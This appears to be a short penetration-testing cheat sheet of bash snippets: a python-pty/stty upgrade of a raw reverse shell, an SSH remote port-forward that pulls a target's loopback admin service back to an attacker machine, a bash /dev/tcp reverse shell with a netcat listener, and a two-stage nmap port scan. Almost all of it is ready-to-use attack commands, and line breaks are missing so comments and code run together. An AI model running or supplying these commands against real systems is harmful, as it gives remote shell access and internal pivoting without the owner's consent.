Turn a raw reverse shell into a fully interactive TTY — job control, arrow keys, tab-complete, clear — via the classic python-pty + stty dance.
bash
# spawn a PTY inside the dumb shellpython3 -c 'import pty; pty.spawn("/bin/bash")'# background it: Ctrl+Z, then fix the local terminal and pull it backstty raw -echo; fg# re-set a sane terminal so clear/less/vim behaveexport TERM=xterm
Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.
bash
# Run on the target (you need outbound SSH to your box). Afterwards the target's# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>
The classic bash /dev/tcp reverse shell with a netcat listener — no tooling needed on the target beyond bash itself.
bash
# on your box — catch the callbacknc -lvnp 4444# on the target — bash's built-in /dev/tcp, no nc/socat required therebash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
Two-stage recon: fast all-ports scan, then version/script scan only the ports that came back open.
bash
# 1) fast sweep of all 65535 TCP portsnmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt <target-ip># 2) pull the open ports from the sweep, then deep-scan just thoseports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap-allports.txt | paste -sd, -)nmap -sC -sV -p "$ports" -oN nmap-services.txt <target-ip>